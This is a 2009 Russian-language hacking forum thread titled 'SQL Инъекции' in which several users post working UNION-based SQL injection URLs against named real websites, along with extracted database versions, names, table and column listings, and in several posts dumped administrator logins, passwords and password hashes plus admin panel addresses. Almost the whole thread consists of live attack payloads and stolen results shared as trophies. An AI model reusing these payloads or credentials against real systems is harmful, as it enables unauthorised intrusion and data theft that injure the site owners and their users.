SQL Инъекции

AlexSatter · 5 Jun 2009

http://www.manualguitar.ru/urok.php?w=-57+UNION+SELECT+1,CONCAT(0x7873716C696E6A626567696E,Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User(),0x7873716C696E6A656E64),3

Database Version: 5.1.32-community-log
Database name: Dkfmxjh_guitar
User name: [email protected]

HAXTA4OK · 5 Jun 2009

http://www.ig-schuerenweg.de/news.php?id=1+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4,5,6--

dbu1141895@localhost:db1141895-1:5.0.32-Debian_7etch10-log

tables resse,news

AlexSatter · 5 Jun 2009

http://www.bazywiedzy.com/zadanie.php?id_task=-11+UNION+SELECT+1,CONCAT(0x7873716C696E6A626567696E,Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User(),0x7873716C696E6A656E64),3,4,5,6,7,8

Database Version: 5.1.33-log
Database name: xwm62598_baza1
User name: [email protected]

Таблицы:
Code:
Database [xwm62598_baza1]
    Table [application  ( Rows)]
    Table [chemical_formula  ( Rows)]
    Table [downloaded_app  ( Rows)]
    Table [formula  ( Rows)]
    Table [function  ( Rows)]
    Table [game_code  ( Rows)]
    Table [gielda_pracy_oferty  ( Rows)]
    Table [group  ( Rows)]
    Table [groups  ( Rows)]
    Table [lesson  ( Rows)]
    Table [lesson_student  ( Rows)]
    Table [login_status  ( Rows)]
    Table [messages  ( Rows)]
    Table [riddle  ( Rows)]
    Table [status  ( Rows)]
    Table [student  ( Rows)]
    Table [task_formula  ( Rows)]
    Table [tasks  ( Rows)]

udman · 5 Jun 2009

http://logua.com

http://logua.com/ru/kom.php?id=-3+UNION+SELECT+1,2,concat_ws(0x0b,user(),ver sion(),database()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34+--+
Click to expand...

u_logua@localhost
4.1.22-log
logua

http://www.bazar.nikolaev.ua

http://www.bazar.nikolaev.ua/print.php?id=-356+UNION+SELECT+0,1,2,3,4,5,concat_ws(0x0b,user(),ver sion(),database()),7,8,9,10,11,12,13,14+--+
Click to expand...

bazar_old@apollo
4.1.22-log
bazar_old

http://www.bib.com.ua

http://www.bib.com.ua/summary.php?id=-94642+UNION+SELECT+0,concat_ws(0x0b,use r(),version(),database()),2,3,4,5,6,7,8,9,10,11,12
Click to expand...

bibcom_exhaustic@localhost
5.0.45-community
bibcom_newbib

http://www.bikeshop.dp.ua

http://www.bikeshop.dp.ua/articles.php?id=-101+UNION+SELECT+1,concat_ws(0x0b,us er(),version(),database())
Click to expand...

bikeforu_bikefor@localhost
5.0.45-log
bikeforu_site

http://www.koss.com.ua

http://www.koss.com.ua/publication.php?id=-1200+UNION+SELECT+0,1,2,con cat_ws(0x0b,user(),version(),database()),4,5,6,7,8,9,10
Click to expand...

dbuser@localhost
4.1.22-log
itkom

http://music-car.com.ua

http://music-car.com.ua/prew.php?id=-1234'+UNION+SELECT+0,concat_Ws(0x0b,user(),version(),datab ase()),2,3,4,5,6,7,8,9, 10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29+/*
Click to expand...

u_musiccar@localhost
4.1.22-log
musiccar

AlexSatter · 5 Jun 2009

http://www.sovinterior.ru/nomer.php?n=-46+UNION+SELECT+1,2,3,4,5,6,CONCAT(0x7873716C696E6A626567696E,Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User(),0x7873716C696E6A656E64),8

Database Version: 5.0.58-log
Database name: sovint
User name: si@localhost
Code:
Database [sovint]
    Table [about  ( Rows)]
    Table [adv_advertisers  ( Rows)]
    Table [adv_banners  ( Rows)]
    Table [adv_brands  ( Rows)]
    Table [adv_categories  ( Rows)]
    Table [adv_proposes  ( Rows)]
    Table [anons  ( Rows)]
    Table [baner  ( Rows)]
    Table [gost  ( Rows)]
    Table [img_stat  ( Rows)]
    Table [link_razd  ( Rows)]
    Table [link_sv  ( Rows)]
    Table [links  ( Rows)]
    Table [names  ( Rows)]
    Table [names_img  ( Rows)]
    Table [names_obj  ( Rows)]
    Table [news  ( Rows)]
    Table [news_img  ( Rows)]
    Table [nomer  ( Rows)]
    Table [podp  ( Rows)]
    Table [reklama  ( Rows)]
    Table [stati  ( Rows)]
    Table [tema  ( Rows)]
    Table [zapret  ( Rows)]
-------------------

http://www.sibuch.ru/nomer.php?cod=-34+UNION+SELECT+1,CONCAT(0x7873716C696E6A626567696E,Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User(),0x7873716C696E6A656E64),3,4,5,6,7,8,9

Database Version: 4.1.20
Database name: go
User name: go@localhost

доступна mysql.user

http://www.sibuch.ru/nomer.php?cod=-34+UNION+SELECT+1,concat_ws(0x3a,user,password),3,4,5,6,7,8,9+FROM+mysql.user

root:4983f4fc2c0bc60f

etc...

udman · 5 Jun 2009

http://www.transammiak.com.ua

http://www.transammiak.com.ua/index.php?node=-24/**/UNION/**/SELECT/**/0,1,concat_ws(0x0b,user(),version( ),database( )),3,4,5,6,7,8,9--&lng=ru
Click to expand...

transammiak_com_@localhost
5.0.81
transammiak_com_ua

http://www.transammiak.com.ua/index.php?node=-24/**/UNION/**/ SELECT/**/0,1,concat_ws(0x0b,table _name,colu mn_ name),3,4,5,6,7,8,9+FROM+INFORMATION_SCHEMA.COLUMNS--&lng=ru
Click to expand...

таблы

http://www.transammiak.com.ua/index.php?node=-24/**/UNION/**/SELECT/**/ 0,1,concat _ws(0x0b,email,pass, login),3,4,5,6,7,8,9+FROM+users--&lng=ru
Click to expand...

Админы
Логин: админНаАнгл
Пасс: amiak

http://www.transammiak.com.ua/админНаАнгл/
Админка

http://www.kazakh.ru

http://www.kazakh.ru/talk/mmess.phtml?idt=-33539+UNION+SELECT+0,UNHEX(HEX(concat_ws(0x0b,user() ,version( ),database()))),2,3,4,5,6,7,8,9,10,11,12,13
Click to expand...

[email protected]
4.1.13
kazakh

AlexSatter · 5 Jun 2009

http://www.motokater.ru/razbor.php?show=-43+UNION+SELECT+1,CONCAT(0x7873716C696E6A626567696E,Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User(),0x7873716C696E6A656E64),3,4

Database Version: 5.0.77-community-log
Database name: motokate_db
User name: motokate_user@localhost

Code:

Database [motokate_db]
    Table [mk_greases  ( Rows)]
        greases_id
        greases_name
    Table [mk_manags  ( Rows)]
        manags_id
        manags_name
    Table [mk_motors  ( Rows)]
        motors_id
        manags_id
        starts_id
        raiseis_id
        greases_id
        motors_name
        motors_price
        motors_cylnum
        motors_img
        motors_order
    Table [mk_raiseis  ( Rows)]
        raiseis_id
        raiseis_name
    Table [mk_starts  ( Rows)]
        starts_id
        starts_name
    Table [mk_users  ( Rows)]
        users_id
        users_login
        users_password
    Table [moto  ( Rows)]
        id
        model
        type
        price
        description
        obem
    Table [razbor  ( Rows)]
        id
        model
        price
        description
    Table [spec  ( Rows)]
        id
        model
        price
        description
    Table [user_ugolok  ( Rows)]
        text
    Table [yacht  ( Rows)]
        id
        model
        price
        description

Заинтересовала таблица mk_users
1: putin:21232f297a57a5a743894a0e4a801fc3

тот самый путин?

Krist_ALL · 5 Jun 2009

Каталог Lookfor PR 2

http://lookfor.ws/feedback/article.php?nomer=-1+union+select+concat_ws(0x202d20,version(),user(),database(),@@tmpdir,@@datadir),concat_ws(0x3a,@@basedir,@@version_compile_os),3,4
Click to expand...

Version() - 5.0.51a-3ubuntu5
Database() - lookfor
User() - root@localhost

Админка http://lookfor.ws/admin/admin.php - взломать не удалось, в бд пароли от word press.

P.S админка злостно матерится)

AlexSatter · 5 Jun 2009

PR 3

http://www.hflcsd.org/staffpages/staffmemberpage.php?id=-619+UNION+SELECT+1,AES_DECRYPT(AES_ENCRYPT(CONCAT(0x7873716C696E6A626567696E,Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User(),0x7873716C696E6A656E64),0x71),0x71),3/*

Database Version: 4.1.13a-log
Database name: hflcsd_db
User name: [email protected]

Есть таблица: admin
подобрал поля: email,id,password

[email protected]:1:s4n5t6

udman · 5 Jun 2009

http://www.marafon.com.ua

http://www.marafon.com.ua/outnews.php?id=-14+UNION+SELECT+0,concat_ws(0x0b,user(),version(),data base()),2,3
Click to expand...

marafon@localhost
4.1.22-standard
marafon_test1

http://www.wollemipine.com.ua

http://www.wollemipine.com.ua/page.php?id=-10+UNION+SELECT+0,1,concat_Ws(0x0b,user(),database(),version ( )),3,4,5+--+&lang=uar&PHPSESSID=0aa53becbebdf7dca5626e3872fba7db
Click to expand...

[email protected]
db11330xwp
4.1.22

http://www.euroizol.com

http://www.euroizol.com/products/view.php?id=-18+UNION+SELECT+0,1,2,3,4,5,6,concat_ws(0x0b,user(),databa se(),version()),8,9,10,11,12,13,14,15,16
Click to expand...

ftp00001252_dbu@localhost
ftp00001252_db
5.0.37

Юзеры

http://www.euroizol.com/products/view.php?id=-18+UNION+SELECT+0,1,2,3,4,5,6,concat_ws(0x0b,us_login,us_pass),8,9,10,11,12,13,14,15,16+FROM+ei_user s+LIMIT+1,1
Click to expand...

Логин: gkadm
Пасс: siteadmin
Логин: solyanov
Пас: kruto

Админка но пассы не подходят
http://www.euroizol.com/admin.php

http://www.restin.crimea.ua

http://www.restin.crimea.ua/comment_kp.php?id=-65539+UNION+SELECT+0,1,2,3,4,5,6,7,8,9,concat_w s(0x0b,user(),version(),database()),11,12,13,14,15,16,17,18&date=1244148184&type=&month=&location=&apartment=&photo=
Click to expand...

dbuser@localhost
4.1.22-log
restincr_restin

http://www.odessamik.org.ua
http://www.odessamik.org.ua/main.php?id=415+UNION+SELECT+0,concat_Ws(0x0b,u ser(),databa se(),version()),2,3,4
u_odessamik@localhost
odessamik
4.1.22

DezMond™ · 5 Jun 2009

http://www.chineselawcf.com/show.php?id_a=19285+union+select+1,2,3,4,database(),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24+/*+

http://www.mua.no/student.php?student_id=-8792'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,concat_ws(0x3a3a,user,passwd),15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77+from+user+--+
admin::43e9a4ab75570f5b

pr5
http://www.bothnian.net/FoskJR/student.php?student_id=-20+union+select+1,2,3,user,password,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+mysql.user+/*+
roo::6cd538b23444e59e

pr5
http://www.parkviewamc.org/contact/doctor.php?ID=-154+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24+/*+

http://www.coopervision.ru/doctor.php?id=-5+union+select+1,2,3,4+--+

http://www.dentalpalace.ru/actions.php?id=-4+union+select+1,2,3,4,5,6+/*+

http://www.smartis.ru/test/dental/actions.php?id=-2+union+select+1,concat(table_name),3,4,5,6+from+information_schema.tables+/*+

Kimliksiz · 5 Jun 2009

http://www.zazieweb.fr/site/reagir.php?num=-107+union+select+1,2,3,4,version(),6,7,8,9,0,1,2,3,4,5/*

TreV@N · 5 Jun 2009

http://www.technolider.com.ua/

http://www.technolider.com.ua/news.php?id=-1+union+select+1,2,3,concat_ws(char(124),version(),database(),user())--
Click to expand...

5.0.67-community|technoli_products|technoli_kox@localhost

==================================================

http://www.cpofla.org/

http://www.cpofla.org/news.php?id=-1+union+select+1,2,3,4,concat_ws(char(124),version(),database(),user()),6,7,8,9,10,11,12--
Click to expand...

5.0.51a-community|cdgajywl_smf1|cdgajywl_smf1@localhost

==================================================

http://www.orient-ufa.ru/

http://www.orient-ufa.ru/news.php?id=-1+union+select+1,2,3,4,5,6,7,concat_ws(char(124),version(),database(),user()),9,10--
Click to expand...

5.0.77-community-log|orientuf_realt|orientuf@localhost

==================================================

http://www.gorod-na-ozere.com.ua/

http://www.gorod-na-ozere.com.ua/news.php?id=-1+union+select+1,2,3,4,5,concat_ws(char(124),version(),database(),user())--
Click to expand...

5.0.67-community-log|gorod|gorod@localhost

Велемир · 5 Jun 2009

Code:

 http://neolit.psu.ru/usr_intro1.php?sel_id=19{SQLINJ}

Один из поддоменов Пермского гос. универа

Таблы: phpbb_users,test

TreV@N · 5 Jun 2009

http://i-kiev.com/

http://i-kiev.com/pages/news.php?id=-1+union+select+1,2,3,4,5,concat_ws(char(124),version(),database(),user())--
Click to expand...

5.0.75-community-log|fouahtun_ikyiv|fouahtun_guest@localhost

HAXTA4OK · 5 Jun 2009

ЕДИНАЯ ТАКСОФОННАЯ КАРТА РОССИИ

http://etcard.ru/page.php?item=-page01'+union+select+1,2,concat_ws(0x3a,database(),version(),user()),4,5%23

nevodspbru:5.0.26-log:nevodspbru@localhost

trefet2 · 5 Jun 2009

http://www.simplyred.com/index.php?id=-1+union+Select+1,version(),3,4,5,6,7--
4.1.22-standard
simplywi_news@localhost

trefet2 · 5 Jun 2009

http://dubster.com/cars/index.php?id=-1+union+select+1,2,3,version(),5,6,7,8--
5.0.67.d7-ourdelta-log
[email protected]

ReduKToR · 5 Jun 2009

http://www.aviamts.ru/msg.jsp?tema=-19+UNION+SELECT+1,2,3,4,version()/*
Click to expand...

ТИЦ:30 PR:4

TreV@N · 6 Jun 2009

http://belhor.org/

http://belhor.org/video/news.php?id=-1/**/UNION/**/SELECT/**/1,AES_DECRYPT(AES_ENCRYPT(CONCAT(0x7873716C696E6A626567696E,Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User(),0x7873716C696E6A656E64),0x71),0x71),3,4,5,6--
Click to expand...

Database Version: 5.0.51a-6-log
Database name: belhororg
User name: belhororg@localhost

==================================================

http://www.indigonetworks.com/

http://www.indigonetworks.com/news.php?id=-1+union+select+1,2,3,4,5,6,7,8,concat_ws(char(124),version(),database(),user()),10,11,12,13--&type=news&cmd=display
Click to expand...

Database Version: 4.0.23-debug
Database name: indigonetworks
User name: indigo_admin@localhost

==================================================

http://www.portofbelledune.ca/

http://www.portofbelledune.ca/news.php?id=-1/**/UNION/**/SELECT/**/1,2,AES_DECRYPT(AES_ENCRYPT(CONCAT(0x7873716C696E6A626567696E,Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User(),0x7873716C696E6A656E64),0x71),0x71),4,5--
Click to expand...

Database Version: 5.0.18-nt
Database name: portofbelledunedb
User name: portUSER@localhost

==================================================

http://nanotech.saudiclubmelbourne.com/

http://nanotech.saudiclubmelbourne.com/news.php?id=-1/**/UNION/**/SELECT/**/1,AES_DECRYPT(AES_ENCRYPT(CONCAT(0x7873716C696E6A626567696E,Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User(),0x7873716C696E6A656E64),0x71),0x71),3,4,5,6,7,8--
Click to expand...

Database Version: 5.0.75-community-log
Database name: saudiclu_nano2008
User name: saudiclu_saudicl@localhost

SQL Инъекции

AlexSatter Member

HAXTA4OK Super Moderator
Staff Member

AlexSatter Member

udman Elder - Старейшина

AlexSatter Member

udman Elder - Старейшина

AlexSatter Member

Krist_ALL Banned

AlexSatter Member

udman Elder - Старейшина

DezMond™ Elder - Старейшина

Kimliksiz Member

TreV@N Elder - Старейшина

Велемир Banned

TreV@N Elder - Старейшина

HAXTA4OK Super Moderator
Staff Member

trefet2 New Member

trefet2 New Member

ReduKToR Active Member

TreV@N Elder - Старейшина

Useful Searches

SQL Инъекции

AlexSatter Member

HAXTA4OK Super Moderator Staff Member

AlexSatter Member

udman Elder - Старейшина

AlexSatter Member

udman Elder - Старейшина

AlexSatter Member

Krist_ALL Banned

AlexSatter Member

udman Elder - Старейшина

DezMond™ Elder - Старейшина

Kimliksiz Member

TreV@N Elder - Старейшина

Велемир Banned

TreV@N Elder - Старейшина

HAXTA4OK Super Moderator Staff Member

trefet2 New Member

trefet2 New Member

ReduKToR Active Member

TreV@N Elder - Старейшина

HAXTA4OK Super Moderator
Staff Member

HAXTA4OK Super Moderator
Staff Member